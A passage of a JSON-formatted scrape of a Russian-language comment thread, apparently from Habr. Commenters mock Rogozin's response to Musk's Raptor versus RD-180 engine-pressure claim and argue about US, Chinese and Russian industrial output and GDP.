всего 2,5 раза большую (45%). В общем, то возражение вам выше по прежнему обосновано — низкое в процентном отношении (20 %) производство все еще очень велико в абсолютных числах.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Когда был кризис 2008-го года, то в ЕС очень сильно просели экономики, где много сервиса и нет производства. Тот же Китай, о котором говорится ниже, не то чтобы просел, а он вообще вырос!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>производство все еще очень велико в абсолютных числах.</blockquote><br/>\r\n<br/>\r\nНу а теперь сравните с Китаем (а не с РФ).<br/>\r\n<br/>\r\nЗнаю, что по моей теме в США остался небольшой заводик. Один.<br/>\r\nИ десятки заводов в Китае.<br/>\r\n<br/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Ну а теперь сравните с Китаем (а не с РФ).</blockquote><br/>\r\n<br/>\r\nА зачем? Как влияет в 2,5 раза большая промышленность Китая на <u>качество</u> промышленности в США?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Что это дает в контексте этого разговора?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Рассчитывать только на сервис без производства — не получится, как бы этого не хотелось в постиндустриальных странах. Один из вариантов — заводы с роботами, где производство запускается по мере необходимости.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Дополню — в 2,5 раза большая промышленность на в 4 раза большее население. Что как раз значит, что в относительных цифрах один работник промышленности в Китае производит меньше, чем один промышленник в США. Что говорит о более высоком качестве промышленности в США.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это какая-то совсем другая тема, кмк, выше же было возражение про культуру производства, мол у США ее больше нет, т.к. ничего не производится, а это просто не верно. Производство большое, хотя и составляет меньшую часть экономики. Какие в этом плюсы/минусы/особенности — совершенно другие вопросы.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">США — ВВП 20 трлн., промышленность 20% получаем 4 трлн.долларов. Китай ВВП 12,2 трлн.долларов, промышленность 45% или 5,5 трлн.долларов. Промышленность Китая больше промышленности США на 37,5%. <br/>\r\nРоссия ВВП 1,6 трл., промышленность 20% или 0,32 трлн.долларов. Промышленность РФ меньше чем в США в 12,5 раз. <br/>\r\n<br/>\r\nP.s. И не ненужно сюда приплетать ППС, промышленность относится к торгуемым секторам, там ППС не применим.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я, не знаю зачем, влез в обсуждение… как по мне, то слишком много недопонимания, что такое культура производства. А вообще есть такое понятие?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote> Что говорит о более высоком качестве промышленности в США.</blockquote><br/>\r\nЧто говорит о дорогих работниках.<br/>\r\nЧто «нельзя задавить числом и нужно ставить станки».<br/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">О чем и речь, чтобы быть производительным, нужно чтобы для этого были соответствующие условия. Производственная культура стоит на благополучии рабочих.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Во время кризиса 2008-2009 годов я торговал акциями, на своем любительском уровне понимаю как что устроено как на бирже, так и в экономике. У меня аллергия на Рабиновичей, которые сами не поют (т.е. не торгуют), но несут свет Шаляпина в массы.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Рогозин предложил построить в Москве Национальный космический центр в форме ракеты</blockquote><br/>\r\nНапомнило российское строительство пустых зданий в качестве карго-культа Кремниевой Долины.<br/>\r\n<img src=\"https://habrastorage.org/r/w780q1/getpro/habr/comment_images/412/110/929/41211092914f59f8615b65ed7f1a7474.jpg\" alt=\"image\" data-src=\"https://habrastorage.org/getpro/habr/comment_images/412/110/929/41211092914f59f8615b65ed7f1a7474.jpg\" data-blurred=\"true\"/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">… точно вам говорю!</div>" ], "message_markdown": [ "А можно поинтересоваться, когда Рогозин говорит о том, что отечественные двигатели номер один в мире, он имеет ввиду российские, или доставшиеся в наследство от Советского Союза? А может кто то привести примеры действительно российских двигателей, которые действительно «номер один»?\nА то Маск всё делает на основе работ Наса (с), а что сделал сам Роскосмос то?", "> превосходящие российский аналог\nА он есть аналог-то? Я знаю только про один метан-кислородный отечественный двигатель РД-0162, который пока так же находится в стадии разработки.", "> Комментарий глава «Роскосмоса» оставил после того, как Илон Маск заявил о превосходстве двигателя Raptor над российским аналогом РД-180. По мнению предпринимателя, превосходство в этом случае выражается в более высоком показателе уровня давления в камере сгорания.\n>\nОн заявил о том что давление выше. А не о превосходстве двигателя.", "Собака лает, караван идет. Кто тут собака, сами догадаетесь.", "> Рогозин считает\nРогозин опять думает, что умеет считать. А журламеры ему верят.", "1\\. Отрицание — Рогозин находится здесь\n2\\. Гнев\n3\\. Торг\n4\\. Депрессия\n5\\. Принятие\nХотя порой мне кажется что наши чиновники отличаются способностью находится на первых четырех стадиях одновременно, все время, до наступления пятой стадии.", "«Маск не является специалистом техническим в этом вопросе, просто не понимает, о чем идет речь. »\n(с) прекрасный технический специалист Д.Рогозин.", "Даже если Раптор будет уступать на 1% по тем или иным параметрам, но будет многоразовым и без кап. ремонта. То это уже превосходство. Сейчас главное для Спейсов — сам факт практического применения.", "Двигатель сертифицирован с запасом 10%...\nВообще это значит, что на испытаниях давали бо́льшее давление, чем штатное, а не наоборот. Выходит, что либо ГК чушь сморозил, либо двигатели не соответствуют сертификации и штатно работают при давлениях на которых сертификационные испытания не проводили...", "Так какой двигатель лучше в итоге?\nУ какого двигателя тяга выше на одной и той же высоте?\nРасход топлива?\nВероятность отказа?\nСтоимость производства (сложность сборки)? — кстати очень субъективный параметр. Возможно двигатель имеет 100500 частей, но его производство можно полностью автоматизировать, а может иметь 200 частей, но сборка настолько сложна, что только в ручную...\nТак какой двигатель лучше? Я так понимаю Маск по словам Рогозина достиг уровня 1994 года. Т.е. когда отрасль уже начала разваливаться, но напоследок проект выпустили в продакшн. За 25 лет с того момента, насколько обновился парк разработок Российских двигателей? или все же Маск достиг уровня 2019 года?", "Тогда уж так:\n1\\. Отрицание, Гнев, Торг, Депрессия — Рогозин находится здесь\n2\\. Принятие", "> или все же Маск достиг уровня 2019 года?\nИсходя из ваших определений, кто достиг уровня 2019-го года?", "Интересно, а гендиректор роскосмоса считает корректным, когда государственная космическая компания великой сверхдержавы (ну как говорят из телевизора) начинает соревноваться с частной космической компанией? по-моему, это позор.", "Маск первым достиг такого давления для ракетного двигателя на метане. А по УИ и по себестоимости его двигатель уделает РД-180 уже лишь тем, что работает на метане. Никто ничего сопоставимого не делал. Так что Маск достиг уровня 20-х годов 21 века. В ближайшие года никто не повторит. А раз так — то мы видим повтороение басни «зелен виноград» и Рогозина в роли лисицы. Хотя лисица-то хоть пыталась, в отличие от...", "Почему позор? Какая разница кто (не) даст результат, частная или государственная компания?", "", "разные «весовые категории».", "В то время как у роскосмоса ракеты падают на взлёте, у Маска садятся автоматически, выполнив задачу. Действительно, сравнивать уже не корректно...! =)", "А как вы «вес» измеряете? По бюджету?", "Илон — сказал, Илон — сделал!\nУ Рогозина — всё из рук валится и всё падает.", "по потенциальным возможностям.", "Вы конкретизируйте немного, а то одна вода. Что за потенциальные возможности и как они измеряются?", "Илон Маск в Твиттере ответил на критику от Рогозина: «I have been chief engineer/designer at SpaceX from day 1. Had I been better, our first 3 launches might have succeeded, but I learned from those mistakes.»\ntwitter.com/elonmusk/status/1098532871155810304?s=20", "тебе серьезно нужно приводить примеры того, что может государство и чего не может частная компания?", "Неужели даже журналистское образование своё не оправдает Батутыч? Ведь что бы он не ответил — завтра состоится первый частный запуск лунного аппарата, что надолго утрёт нос Роскосмосу.\nUpd: Илон Маск также ответил про сравнение дизель/бензиновых двигателей. Очень краткий перевод:\nТо, что хочет сказать Роскосмос — это то, что нельзя сравнивать газ-газ и жидкость-газ\nИМ: Не правда\nОригинал\n>> The point RosKosmos is trying to make is that in your tweet you compared a liquid/gas engine to a gas/gas engine, and that the operating parameters of those two are not comparable. (Just translating the article, I definitely don't know enough to make a judgement.)\nИМ: Not true. Limiting factor in any staged combustion rocket engine, liquid/gas or gas/gas, is pressure & temperature in oxygen preburner", "Вы зря смеётесь. Такие высказывания ориентированы на другую «целевую аудиторию», и воспринимаются ей на ура ~~-патриотично~~.\nНедооцениваете вы своих врагов. Также смеялись про интернет цензуру, а удавка то затягивается с каждым годом.", "Очевидно тот, который достался еще от совка, потом его модернизировали на американские деньги для их кучи ракет, которых девать было некуда, попутно в 90-х спасая специалистов из роскосмоса, которые бы с голода померли.", "Маск побил рекорд по давлению в КС, державшийся 20 лет.\nЭффективность (термический КПД) зависит от соотношения температур в камере сгорания и на срезе сопла (что пересчитывается в соотношение давлений). У поверхности Земли мы не можем сделать давление на срезе меньше атмосферного. Так что остаётся повышать давление в КС. Для второй ступени всё проще — там можно сделать сопло с бОльшим расширением.\nНо у того же Мерлина давление в КС в разы меньше (~68Атм), но разве это плохой и отсталый двигатель? Если ракеты с ним уделывают российские по цене запуска?", "> Илон Маск в Твиттере ответил\nДа, ~~рэпбатл~~ ... У Рогозина есть твиттер? что он ответит Маску? Запасаемся поп-корном!", "Во первых не «тебе», а «Вам».\nВо вторых смотря какое государство. У «Энергомаша» так же как и у SpaceX есть бюджет. Деньги в ограниченном количестве. SpaceX так же получает от государства деньги как и «Энергомаш». Санкции ограничивают Роскосмосу доступ к компонентам. У SpaceX таких проблем нет. Плюс большинство заказчиков сидит на Западе, что так же даёт преимущество SpaceX.\nПросто поражает, понимание людей, что если собственник государство, то должны быть автоматически неограниченные возможности.", "Согласно википедии давление в КС у РД180 — 253,3Атм. Так что 280 — это как раз сертификационные испытания (+10%). (280-253.3)/253.3=0.105 или 10.5%\nP.S. Посмотрел график у Маска — там bar. Это немного не совсем Атм. 267bar у РД180. Что даёт 293,7bar (+10%) на (предполагаемой) сертификации.\nПравда остаётся самый интересный вопрос: а сможет ли Маск выжимать все соки из Раптора также как и из Мерлина? (61,4 bar у Merlin 1C и 108bar у 1D+)", "UFO just landed and posted this here", "К каким именно компонентам Роскосмос лишился доступа?", "Одно подразделение Амазона может и повторить.", "Тогда уж так:\n1\\. Отрицание, Гнев, Торг, Депрессия — Рогозин находится здесь\n1.5. Возврат на 1. для российских чиновников\n2\\. Принятие", "Рогозину бы почитать про метановое ГБО (это к вопросу перехода с бензина на газ) и Skyactiv-Х (там воспламенение бензовоздушной смеси от сжатия — основной режим);-)\nautoreview.ru/articles/svoimi-glazami/15-1", "> Глава «Роскосмоса» не верит\nАтеист? Ай-яй-яй...", "Думаете нечаянно повторят?\nПри плановых 132 атмосфер чисто случайно выдадут на BE-4 больше 260. А он не взорвется от двукратного превышения своих характеристик?", "А вопрос можно? 268 Bar — это максимально давление среди существующих ракетных двигателей вообще, независимо от схемы и типа топлива/окислителя, или есть рабочие ракетные двигатели, работающие с более высоким(номинальным) давлением в КС?", "Насколько помню, у Маска все нормально с образованием — оно может и не профильное, но высшее техническое. Чего не скажешь о Рогозине. Опять же, какое отношение это имеет к вопросу — он же не сам двигатели считает.", "Интересно что будет с ракетами в свете того, что соглашения по ограничениям ОМП не продлятся.", "Да пофигу у кого пиписька больше. Маску спасибо, что он хотя бы мечту о колонизации марса приблежает на пол-шишечки.", ">> Но у того же Мерлина давление в КС в разы меньше (~68Атм), но разве это плохой и отсталый двигатель?\nМаск сейчас в твиттере в продолжение ответа Рогозину сказал, что Мерлин побил все рекорды по thrust/weight и thrust/cost. Так что в какой то степени он лучший. Хотелось бы конечно увидеть и это сравнение по thrust/cost наглядно.\nОригинал\nSpaceX Merlin architecture is simpler than staged combustion (eg SSME or RD), but it has world record for thrust/weight & thrust/cost engine. Raptor has better Isp, but I’m worried it may fall short on those two critical metrics.", "Только что прочитал: Страховщики выплатили Роскосмосу 185 миллинов баксов за 2 аварии. Это в среднем 92.5 миллиона за одну. Стоимость пуска Союза 2.1 с разгонным блоком Фрегат — 48,5 миллионов. 62 — стоимость пуска Фалькона. Взрывать ракеты выгоднее ;-)", ">> Запасаемся поп-корном!\nНа реддите особо не верят, что подобная баталия возможна. Один из топовых комментариев:\nRogozin is journalist by education and propagandist by trade (not even a politician) without any technical knowledge whatsoever. He not even have a chance to understand what he's talking about.", "Вот здесь например сравнение: en.m.wikipedia.org/wiki/Comparison_of_orbital_rocket_engines\nПравда там указаны целевые цифры для Раптора (300бар), а внизу — достигнутые для обсуждаемого Раптора «starship version»", "Про thrust/cost — а как он узнал себестоимость российского двигателя? Или какова рыночная цена его двигателя? Или что с чем он вообще сравнивает?", "То есть грубо говоря, исходя из таблицы обсуждаемые цифры — это рекордные показатели для любого ракетного двигателя, независимо от типа и топлива.\nС этой точки зрения слова Рогозина даже не обсуждаются, но вот слова главного конструктора «Энергомаша» Левочкина звучат, как минимум, странно — зачем приплетать конструкцию и вид топлива, если и так понятно, что догоняют? И если РД-180 сертифицирован на давление на 10% выше, почему об этом стало известно только сейчас? Только как повод заявить, когда Раптор дотянут до 300 Атм, что РД-180 тоже столько на стендах развивал?", "> Musk moved to Canada when he was 17 to attend Queen's University. He transferred to the University of Pennsylvania two years later, where he received an economics degree from the Wharton School and a degree in physics from the College of Arts and Sciences.\nУ Маска вышка по физике, в чем-чем, а в физике ракетных двигателей он способен разобраться. В отличии от журналиста, да.", "Чтобы сравнить не обязательно быть Маском, будем округлять...\nРД-180, весит 6 т., стоит от 10 млн.долларов. тяга 400 тонн.\nМерлин 1D, весит 500 кг, стоит 1 млн.долларов, тяга 80 тонн.\nА что на это ответит Рогозин — «Вы всё врете... бла, бла, бла»", ">«Глава «Роскосмоса» не верит»\nОу. Теперь это вопрос веры?", "Самое смешное, что они так гордятся своим РД-180, и при этом, ни одна российская ракета на данный момент этот движок не использует. На этих движках летают только американские «Атласы».", "> Маск не является специалистом техническим\nспециалист технический... прям как название растения звучит))", "У Рогозина был и твиттер и фейсбук, но после знаменитой истории с племянником он ~~понял, что лучше жевать(с) и~~ удалил все.", "Так пускай выдадут данные хотя бы на уровне Маска, без нуля на оси У.", "В стоимость запуска не входит стоимость КА.", "А 1 млн за Мерлин — его вот прямо можно пойти и купить за эти деньги? Или это все же себестоимость?", "А разве РД-180 можно купить на рынке? Американцы права на его продажу не отдавали...", "Радиационно-стойкой электронике.", "А какие двигатели американцы закупали у Энергомаша? Не эти?", "Так права на него им и принадлежат... Энергомаш для них их собирает, а переносить производство к себе правообладатель считает не имеющем экономического смысла", "> У «Энергомаша» так же как и у SpaceX есть бюджет. Деньги в ограниченном количестве. SpaceX так же получает от государства деньги как и «Энергомаш».\nУточню, вы хотите сказать, что Энергомаш получает деньги от государства как и СпейсХ только за исполнение контрактов?", "А только я заметил, что Маск просто описал результаты, при этом не ругая РД-80 (да ещё и используя определение awesome)? Мне кажется, что кто-то нервничает :)", ">Во вторых смотря какое государство\nя же сказал, ядерная сверхдержава. любая.\n>Санкции ограничивают Роскосмосу доступ к компонентам\nсанкции ввели в 2014 году. а до 14 года что делали?\n>Просто поражает, понимание людей, что если собственник государство, то должны быть автоматически неограниченные возможности.\nони и есть неограниченные. просто ими распоряжаться нужно правильно. потому то они и потенциальные. можно вложиться в подготовку инженеров, конструкторов, развитие отрасли, а можно проводить олимпиады, чемпионаты мира по катанию мяча по траве, и в итоге жиденько обосраться.\n>Во первых не «тебе», а «Вам».\nа вас там много?", "Батутный министр просто делает свою работу, и она никак не связана с развитием космической промышленности РФ или вообще ее процветанием.\nА что касается отказа от российских двигателей, всегда же есть Иран, Куба, Венесуэла, КНДР, даже если продавать в долг.", "Вы забыли обязательную стадию «Бомбить Воронеж».", "Думаю будут пытаться конкурировать повышая характеристики включая давление.", "Ещё немного попоболи для Рогозина: Маск успешно запустил еврейский аппарат к Луне (те приняли управление, всё путём) и посадил первую ступень на баржу. Аппаратик построен некоммерческой организацией отчасти на пожертвования граждан.", "Настолько специалист, что видимо считает впринципе невозможным создание лучше того, что есть. Тем не менее уже есть модели, превосходящие «классику», они разработаны, ~~отлажены и запущены в массовое производство~~ не так далеко за МКАДом.\nБеда лишь в том, что у нас «работает не трогай/ты инженер, вот тебе компенсация труда вместо зарплаты/начальство лучше знает, что нам надо», а потом в обладателях патентов на движки Илона обнаружат кучу бывших соотечественников.", "Походу в стоимость страховки тоже. КА страхуются отдельно.\nria.ru/20180512/1520412455.html\n> В конце апреля 2018 года РКК «Энергия» признала потерю космического аппарата связи, построенного для Анголы и запущенного на орбиту в конце 2017 года. Как сообщалось, связь со спутником была потеряна практически сразу после запуска. Аппарат был застрахован на 121 млн долларов при стоимости аппарата в 252 млн долларов.", ">> а потом в обладателях патентов на движки Илона обнаружат кучу бывших соотечественников.\nДобавлю, что скоро иссякнут все надежды «ну ладно дурачок во главе компании, просто говорящая голова, которая ни на что не влияет, инженеры то свою работу делают». Как показывает практика — Батутин делает всё возможное для того, чтобы Роскосмос развалить.\nПрекрасно всё, от того, как он портит отношения с иностранными партнерами, до того как тратит миллионы рублей на комфорт своих ягодиц, чтобы денёк погулять-пофоткаться на предприятии, работники которого устраивают протест после его прилёта.\nЭдакий царь Мидас наоборот, всё к чему прикасается превращает в г... но. На одну ОАК только взглянуть, где он сыночка своего пристроил...", "UFO just landed and posted this here", "Но у Рогозина и Левочкина показательно бомбануло.", "", "это как в стишках-пирожках:", "Более того, он ранее весьма хвалил РД-180.", "> попутно в 90-х спасая специалистов из роскосмоса, которые бы с голода померли.\nДа ладно. Специалисты с голоду не помрут ни при каких 90-х.", "Депрессию и принятие поменяйте местами, пожалуйста.", "А то что государство не может запустить человека на орбиту, не позор? Приходится ходить к Рогозину на поклон.\nОтдельно пройдусь по многоразовости двигателя. С рекордными параметрами нагрузки то-же рекордные. Так что скорее всего на полной загрузке движок будет одноразовый, а вот при неполной будет работать не в оптимальном режиме, да и после каждого полета, будет разборка, дефектоскопия и снова сборка.", ">> Приходится ходить к Рогозину на поклон.\nСотни миллионов людей на Земле задаются вопросом — ну когда же мы объединимся и будем расширятся по вселенной, вместо войн за клочки Земли. И только Роскосмос со своими фанатами — «нет своих двигателей — слабаки! нет своих кораблей для доставки экипажа — позор!».\nВот только если разобраться с этими «своими двигателями» и «своими кораблями» — слабаки и позор окажутся на самом деле эпитетами Роскосмоса. Кратко — РД-180 стоит 25 млн.$, в то время как запуск летавшей Falcon 9 обходится дешевле, при том что у него 9 двигателей; свои корабли доставки экипажа у этого государства были — Space Shuttle.\n>> Отдельно пройдусь по многоразовости двигателя\nДействительно... прошлись...", "Специалисты не помрут, конечно. Сбегут в другую компанию/отрасль/страну.", "Но ведь... На самом деле все только и делают, что сравнивают бензиновые и дизельные двигатели. Не?", "But lets be honest, mr. Rogozin is stonger specialist in trampolines production с твиттера...", "Их сравнивают по внешним параметрам, а не по внутренним, маловероятно, чтобы когда либо бензиновый двигатель работал при степени сжатия смеси, характерной для дизеля, хотя при сильно обедненной смеси — кто знает...", "РД-180, емнип, стоит около 11? а 25 — это РД-171? у Маска вся двигательная установка тоже в районе 10 стоит?\nну а о том, сколько реально обходится дефектовка и пуск б/у — насколько знаю, достоверно/официально не сообщалось. Известны только стоимости пусков для конечного заказчика...", "Да много что он может считать! А разве эффективность двигателя зависит от того что кто-то там считает или нет. При том что сам новых двигателей не разрабатывал.", "Имеет смысл сравнивать всё же по выходным характеристикам (мощность, момент, расход топлива), а не по внутренним (давление в рампе, степень сжатия).", ">> РД-180, емнип, стоит около 11? а 25 — это РД-171? у Маска вся двигательная установка тоже в районе 10 стоит?\nНа реддите пишут, что 11 он стоил при пакетной покупке по старым контрактам, а сейчас 25. По Маску — где то так.\n>> ну а о том, сколько реально обходится дефектовка и пуск б/у\nНу я исходил из того, что пуск стоит 60 млн.$, 15% — прибыль ~ 50 млн.$ себестоимость, а Гвинн Шотвелл заявляла, что самая первая дефектовка обошлась почти в 50% от стоимости пуска, что как раз и равно 25 млн.$. Сейчас должно быть ещё дешевле.", "Уточню, что Раптор работает на газу, и бензиновый ДВС можно легко перевести на газ, соответственно сравнивать их можно очень легко.", "Мы всё еще говорим о двигателях или перешли на отрасль в целом?", "Вот как раз от побега спецов в Иран/Китай и спасались этими совместными проектами. Это не только двигателей касается, но и программа МИР-Шаттл в том числе ради этого началась.", "", "Не, ну как, у Маска есть конечно часть от шоу-бизнеса, но американскую инженерную и производственную культуру никто не отменял. И она в SpaceX на высочайшем уровне, с внедрением всех этих BIM и прочих технологий, которые в Роскосмосе даже не пытаются внедрять.\nПревосходство этой инженерной и производственной культуры признавали советские специалисты, правда они говорили, что нужно этому учиться у американцев, хотя и советская производственная культура была не на последнем месте в мире.\nА теперь мы отстаём по всем параметрам, но этот надутый индюк акцентирует внимание на шоу-бизнесе, игнорируя наш шоу-бизнес с освящением ракет, и совсем забывая про разницу в инженерной культуре.", "> но американскую инженерную и производственную культуру никто не отменял\nнасчет инженерной не скажу, а от производственной культуры они сами добровльно отказались, сейчас время от времени поднимают вопрос «как нам вернуть заводы из Китая обратно в США».", "У них промышленность в процентном отношении к экономике примерно как в РФ. Но так как сама экономика раз в десять больше, то «производственной культуры» там больше.", "«Частного» там не так много.", "Серьезное заявление. Обосновывать его Вы, конечно же, не будете?", "ага, у Маска нет образования подходящего, а у Рогозина есть?\nМаск — бакалавр физики и экономики\nРогозин — доктор философии и журналист, как тебе такое Илон?\nНе судите строго, но просто смешно было читать новость", "У Роскосмоса зарплаты нищенские, рынок пусков потерян, землю свою распродают.\nКому-нибудь действительно должно быть дело до мнения главы этого бедлама?\nЗЫ я когда увидел какие бабки он тратит на коммандировку, думал мне лишние нули померещились.", "рабочие УКВЗ тоже возмутились. он за однодневную командировку прокатал месячную зарплату 15% работников завода...", "Блаженны верующие, ибо их есть царствие небесное!", "Ну так первая дефектовка, вероятно, была полностью вручную. А когда уже известно, куда смотреть, контрольные точки и параметры проверки — все должно быть уже на порядок дешевле.", "Поэтому и было написано обходительное «дешевле». Посмотрите чуть ниже на комментарий rotarepo, здесь многие очень скептично относятся к Спэйс Иксам и Маску в частности. Если называть предполагаемые на сегодняшний момент цифры — они сразу накинуться, мол не может быть, чтобы Space X'ам вчерашний запуск лунного аппарата обошёлся в районе 15 млн.$*, а достоверных пруфов нет, кроме умозаключений на основе того, что мы видим и слышим. Приходится немного приуменьшать заслуги Space X. Иначе загрызут требованием «пруфов».\nЗато Роскосмос да. Говорит о ядерном буксире, значит он конечно же будет. И конечно же в ближайшее время. Говорят Маск мошенник — значит мошенник. Самый проверенный источник информации с самым успешным журналистом во главе.\n* — в районе 7 млн.$ вторая ступень, 3 млн.$ дефектовки первой ступени (10% от её стоимости) и ещё 5 млн.$ сами операции по пуску включая буксировку ступени обратно и отправку на дефектовку (собственные прикидки на основе Cost calculation for falcon 9 falcon heavy двухгодичной давности).", "Технически то государство может запускать человеков на орбиту самостоятельно с 2012 года как минимум. В Дракон поставил кресла и вперед. Но видите ли нельзя теперь астронавтов в корабле без САС возить, а, главное, на Орионе тогда еще не успели освоить и 10 миллиардов — нельзя было допускать у электората всяких нехороших мыслей.", "А вообще, они на самом деле немного вразумили Маска и сэкономили время. Заставили отказаться от крутого реактивного Дракона (а это был самый настоящий Дракон!) в угоду политике. Но всё же от Красного Дракона на Марсе не было столько толку, как будет от Космического корабля. Как в своё время Россия вразумила Маска, что не нужно с нами сотрудничать, нужно самому строить ракету-носитель.", "В общем ответили. Рогозин предложил построить в Москве Национальный космический центр в форме ракеты. В очередной раз распилить на стройке несколько миллиардов, вместо того, чтобы пустить их в разработки. Как тебе такое, Илон Маск?", "Маск просто не дорубает, что так можно — работает все в каких-то ангарах на краю аэропортов — никакой фантазии.", "Всё реактивная посадка на землю — лучше, чем в океан, а потом лови с сачком...", "По этому вспомнился сериал КЯВВМ, и там был проект здания... тоже таких форм...", "А еще «Федерацию» переименует. У него вон какие серьезные дела, не какой-то там двигатель на метане.", "Что значит денег нет? В российских банках полно денег. Одолжат, потом за откат в 10% долг простят. Убыток государству откат царьку с боярами. Система нипель.", "Осенью купил книжку «Красный Марс»... Так и не прочитал — как только начинается описание от лица российских персонажей от фейспалмов начинает голова болеть.", "> Но так как сама экономика раз в десять больше, то «производственной культуры» там больше.\nУ них размер экономики не связан с производством.\nПолюбопытствуйте что такое деривативы и как они вызвали гигантский «рост» экономики США просто из воздуха.\nНапример, вот здесь хорошим доходчивым языком «Игра на понижение» (фильм, 2015) американцы сами об этом рассказывают (причины экономического кризиса 2007-2008 года).", "А Вы, простите, понимаете, что такое деривативы? Торгуете им?", "> А Вы, простите, понимаете, что такое деривативы? Торгуете им?\nТам все разжевано в фильме. В понятной форме и занятной художественной форме.\nТам и Марго Робби из ванны расказывает так, что будет понятно даже «блондинке».\nК оценке производственной части экономики они отношения не имеют, при этом создают огромный объем экономики чисто в цифрах.", "В расчет ввп они не включаются. А там 20 трл.", "> В расчет ввп они не включаются. А там 20 трл.\nДо века 17 разве что ВВП и объем производства можно считать синонимами (а для Испании, чье собственное производство фактически было разрушено торговлей-грабежом Америки даже и раньше; аналогично несравнимые цифры для чуть позже для Великобритании, наварившейся на Индии).\nВ конкретно США, пожалуй, что полвека точно — ВВП даже рядом не отражает производство.\nВ современном мире производство далеко не превалирующая статья ВВП.", "Давайте возьмем самую простую формулу ВВП:\nВВП = Внутренне потребление + Экспорт — Импорт\nИзначально Вы сказали глупость про деривативы. Теперь перешли к тому, что ВВП и объем производства не являются синонимами. Не являются из покон веков, а не 17 века! С первой оказанной услуги! Просто развитые страны способны не только накормить своих граждан, но и дать им какие-то более высокие блага. А деривативы — это просто не более, чем движения капитала/прав собственности, из которого в ВВП попадает лишь премия за оказанную услугу, зачастую составляющая тысячные доли процента. Не даром в США финансовый сектор (включающий в себя также страхование и торговлю недвижимостью, которая в одиночку занимает 12%!) в ВВП составляет лишь 20%, при всех своих пугающих аборигенов масштабах. И многие экономисты наоборот считают, что надо его при этом снижать, что он вредит, а не приносит должных благ.", "Так вы про деривативы говорите или про постиндустриальную экономику, где непроизодственные сферы занимают большую долю? Напомню, что вы возразили про деритивы в ответ на «У них промышленность в процентном отношении к экономике примерно как в РФ. Но так как сама экономика раз в десять больше, то «производственной культуры» там больше.» Так вот экономика без всяких деривативов в пять раз больше (да не в 10). Из них промышленности 20%.", "> Не являются из покон веков, а не 17 века! С первой оказанной услуги!\nДо сравнительно недавних пор (в масштабах истории) услуги были незначительны по сравнению с производством вещей/продуктов/пр.", "Изначально речь была о том, что производственная культура Америки уходит в прошлое. Ибо большей частью ушла в Китай много лет назад.\nРФ тут вообще приплели не к месту (и кстати, забыв учеть разницу в населении).\nНу и оценку объемов американского производства дали неверную (умолчав о нюансиках), которая должна ввести в заблуждение и в благоговение перед США.", "20 % от 20 трлн пока еще никуда не ушли. В самом Китае кстати промышленность занимает долю от ввп всего 2,5 раза большую (45%). В общем, то возражение вам выше по прежнему обосновано — низкое в процентном отношении (20 %) производство все еще очень велико в абсолютных числах.", "Когда был кризис 2008-го года, то в ЕС очень сильно просели экономики, где много сервиса и нет производства. Тот же Китай, о котором говорится ниже, не то чтобы просел, а он вообще вырос!", "> производство все еще очень велико в абсолютных числах.\nНу а теперь сравните с Китаем (а не с РФ).\nЗнаю, что по моей теме в США остался небольшой заводик. Один.\nИ десятки заводов в Китае.", "> Ну а теперь сравните с Китаем (а не с РФ).\nА зачем? Как влияет в 2,5 раза большая промышленность Китая на качество промышленности в США?", "Что это дает в контексте этого разговора?", "Рассчитывать только на сервис без производства — не получится, как бы этого не хотелось в постиндустриальных странах. Один из вариантов — заводы с роботами, где производство запускается по мере необходимости.", "Дополню — в 2,5 раза большая промышленность на в 4 раза большее население. Что как раз значит, что в относительных цифрах один работник промышленности в Китае производит меньше, чем один промышленник в США. Что говорит о более высоком качестве промышленности в США.", "Это какая-то совсем другая тема, кмк, выше же было возражение про культуру производства, мол у США ее больше нет, т.к. ничего не производится, а это просто не верно. Производство большое, хотя и составляет меньшую часть экономики. Какие в этом плюсы/минусы/особенности — совершенно другие вопросы.", "США — ВВП 20 трлн., промышленность 20% получаем 4 трлн.долларов. Китай ВВП 12,2 трлн.долларов, промышленность 45% или 5,5 трлн.долларов. Промышленность Китая больше промышленности США на 37,5%.\nРоссия ВВП 1,6 трл., промышленность 20% или 0,32 трлн.долларов. Промышленность РФ меньше чем в США в 12,5 раз.\nP.s. И не ненужно сюда приплетать ППС, промышленность относится к торгуемым секторам, там ППС не применим.", "Я, не знаю зачем, влез в обсуждение... как по мне, то слишком много недопонимания, что такое культура производства. А вообще есть такое понятие?", "> Что говорит о более высоком качестве промышленности в США.\nЧто говорит о дорогих работниках.\nЧто «нельзя задавить числом и нужно ставить станки».", "О чем и речь, чтобы быть производительным, нужно чтобы для этого были соответствующие условия. Производственная культура стоит на благополучии рабочих.", "Во время кризиса 2008-2009 годов я торговал акциями, на своем любительском уровне понимаю как что устроено как на бирже, так и в экономике. У меня аллергия на Рабиновичей, которые сами не поют (т.е. не торгуют), но несут свет Шаляпина в массы.", "> Рогозин предложил построить в Москве Национальный космический центр в форме ракеты\nНапомнило российское строительство пустых зданий в качестве карго-культа Кремниевой Долины.", "... точно вам говорю!" ], "author": [ "Belking", "DSolodukhin", "BlackMokona", "ittakir", "Zenitchik", "Zava", "Nikoobraz", "striver", "Александр (San_tit)", "GokenTanmay", "AlexXYZ (AlexXYZ)", "striver", "pproger", "oleg_go", "stardust1", "AlexXYZ (AlexXYZ)", "pproger", "casperonius", "stardust1", "Space__Elf", "pproger", "stardust1", "asd111", "pproger", "Belking", "rogoz", "Иван Борзенков (iborzenkov)", "zerg59", "striver", "stardust1", "zerg59", "{}", "Игорь Михайлов (igormich88)", "GM-2", "Anton Sorokin (Anton238)", "zerg59", "barbos6", "oleg_go", "lingvo", "Stas911 (Stas911)", "boblenin", "boblenin", "Belking", "zerg59", "Belking", "zerg59", "Stas911 (Stas911)", "lingvo", "lingvo", "oleg_go", "Randy Cambell 